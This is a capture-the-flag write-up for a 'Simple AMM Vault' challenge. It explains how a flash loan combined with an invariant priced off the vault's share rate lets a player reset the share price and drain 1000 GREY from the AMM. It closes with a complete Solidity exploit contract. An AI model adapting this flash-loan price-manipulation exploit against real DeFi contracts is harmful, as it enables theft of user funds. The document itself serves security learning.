3. Simple AMM Vault

Codebase walkthrough

This CTF challenge presents a DeFi system composed of three main contracts:

  • GREY Token: A standard ERC20 token

  • SimpleVault: An ERC4626-like vault that allows staking GREY tokens for SV shares

  • SimpleAMM: An automated market maker that creates a liquidity pool between SV tokens and GREY tokens

The goal is to accumulate at least 3000 GREY tokens starting with only 1000 GREY from the claim function.

Let's examine the initial setup in the Setup.sol contract:

// Initial setup creates the following state:
// 1. Deploy GREY token and mint 4000 GREY to Setup
// 2. Deploy SimpleVault and SimpleAMM
// 3. Deposit 1000 GREY → get 1000 SV (1:1 ratio initially)
// 4. Distribute 1000 GREY as rewards (increases totalAssets to 2000)
// 5. Add liquidity: 1000 SV + 2000 GREY to AMM pool

After setup, the vault state is:

  • totalAssets = 2000 GREY

  • totalSupply = 1000 SV

  • sharePrice = 2000/1000 = 2.0 (2 GREY per SV)

The AMM pool contains:

  • reserveX = 1000 (stored state variable)

  • reserveY = 2000 (stored state variable)

  • Actual balances: 1000 SV + 2000 GREY

  • k = 1000 + 2000/2.0 = 2000 (using the vault's share price in calculation)

Bug description

The critical vulnerability lies in how the SimpleAMM calculates its invariant and handles flash loans:

function computeK(uint256 amountX, uint256 amountY) internal view returns (uint256) {
    uint256 price = VAULT.sharePrice();
    return amountX + amountY.divWadDown(price);
}

The key issue is that flash loans don't update the stored reserveX and reserveY variables, but they allow for atomic replacement of the underlying SV tokens with different economic value.

Step 1: Initial Setup

setup.claim(); // Get 1000 GREY

Player now has: 1000 GREY

Step 2: Flash Loan 1000 SV

setup.amm().flashLoan(true, 1000e18, "");

Critical insight: During the flash loan:

  • AMM's actual SV balance: 1000 → 0 SV (tokens sent to borrower)

  • AMM's stored reserveX: remains 1000 (unchanged)

  • AMM's stored reserveY: remains 2000 (unchanged)

Why flash loan 1000 SV, not other amount? It is because we want to drain totalSupply to make the vault go back to its “initial state”:

    function deposit(uint256 assets) external returns (uint256 shares) {
        shares = toSharesDown(assets);
        require(shares != 0, "zero shares");

        totalAssets += assets;
        _mint(msg.sender, shares);
        
        GREY.transferFrom(msg.sender, address(this), assets);
    }
    
    function toSharesDown(uint256 assets) internal view returns (uint256) {
        if (totalAssets == 0 || totalSupply == 0) {
            return assets;
        }
        return assets.mulDivDown(totalSupply, totalAssets);
    }

Step 3: SV Token Replacement (in callback)

function onFlashLoan(uint256 svAmount, bytes calldata) external {
    // Burn 1000 SV for 2000 GREY
    setup.vault().withdraw(svAmount);

    // Deposit 1000 GREY for 1000 SV. Share price is now 1:1
    setup.grey().approve(address(setup.vault()), 1000e18);
    setup.vault().deposit(1000e18);
}

Before manipulation:

  • Vault: totalAssets = 2000, totalSupply = 1000, sharePrice = 2.0

  • Old SV tokens represent: 1000 SV × 2.0 = 2000 GREY value

Complete drainage:

  • Withdraw 1000 SV → get 2000 GREY

  • Vault state: totalAssets = 0, totalSupply = 0

  • Share price resets to 1.0 (triggered by totalSupply == 0)

Repopulation with manipulated ratio:

  • Deposit 1000 GREY → get 1000 SV (at reset 1:1 ratio)

  • Vault state: totalAssets = 1000, totalSupply = 1000, sharePrice = 1.0

Flash loan repayment:

  • AMM gets back 1000 SV tokens, but these are new SV tokens with 1:1 GREY backing

  • AMM's stored reserves remain: reserveX = 1000, reserveY = 2000

Step 4: The Broken Invariant

When the flash loan completes, the invariant modifier executes:

modifier invariant {
    _;
    require(computeK(reserveX, reserveY) >= k, "K");
}

Crucial point: The invariant uses stored reserve values, not actual token balances:

  • computeK(1000, 2000) with new share price = 1000 + 2000/1.0 = 3000

  • Original stored k = 2000

  • Invariant check: 3000 >= 2000 ✅ (passes)

Step 5: Exploit the Phantom Value

// Drain 1000 GREY from AMM
setup.amm().swap(true, 0, 1000e18);

The AMM now has "phantom value" because:

  • It was initialized with k = 2000 (when SV had 2:1 backing)

  • But now computes k = 3000 (with SV having 1:1 backing)

  • The difference of 1000 can be extracted

By swapping 0 SV input for 1000 GREY output:

  • New stored reserves: reserveX = 1000, reserveY = 1000

  • New computed k = 1000 + 1000/1.0 = 2000

  • Invariant: 2000 >= 2000 ✅ (still satisfied)

PoC

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.15;

import { Setup } from "src/simple-amm-vault/Setup.sol";

contract Exploit {
    Setup setup;

    constructor(Setup _setup) {
        setup = _setup;
    }

    function solve() external {
        // Claim 1000 GREY
        setup.claim();

        // Flash loan 1000 SV from the AMM
        setup.amm().flashLoan(true, 1000e18, "");

        // Drain 1000 GREY from the AMM
        setup.amm().swap(true, 0, 1000e18);

        // Transfer all GREY to msg.sender
        setup.grey().transfer(
            msg.sender, 
            setup.grey().balanceOf(address(this))
        );
    }

    function onFlashLoan(uint256 svAmount, bytes calldata) external {
        // Burn 1000 SV for 2000 GREY
        setup.vault().withdraw(svAmount);
        
        // Deposit 1000 GREY for 1000 SV. Share price is now 1:1
        setup.grey().approve(address(setup.vault()), 1000e18);
        setup.vault().deposit(1000e18);

        // Approve SV for AMM to return the flash loan
        setup.vault().approve(address(setup.amm()), svAmount);
    }
}

Last updated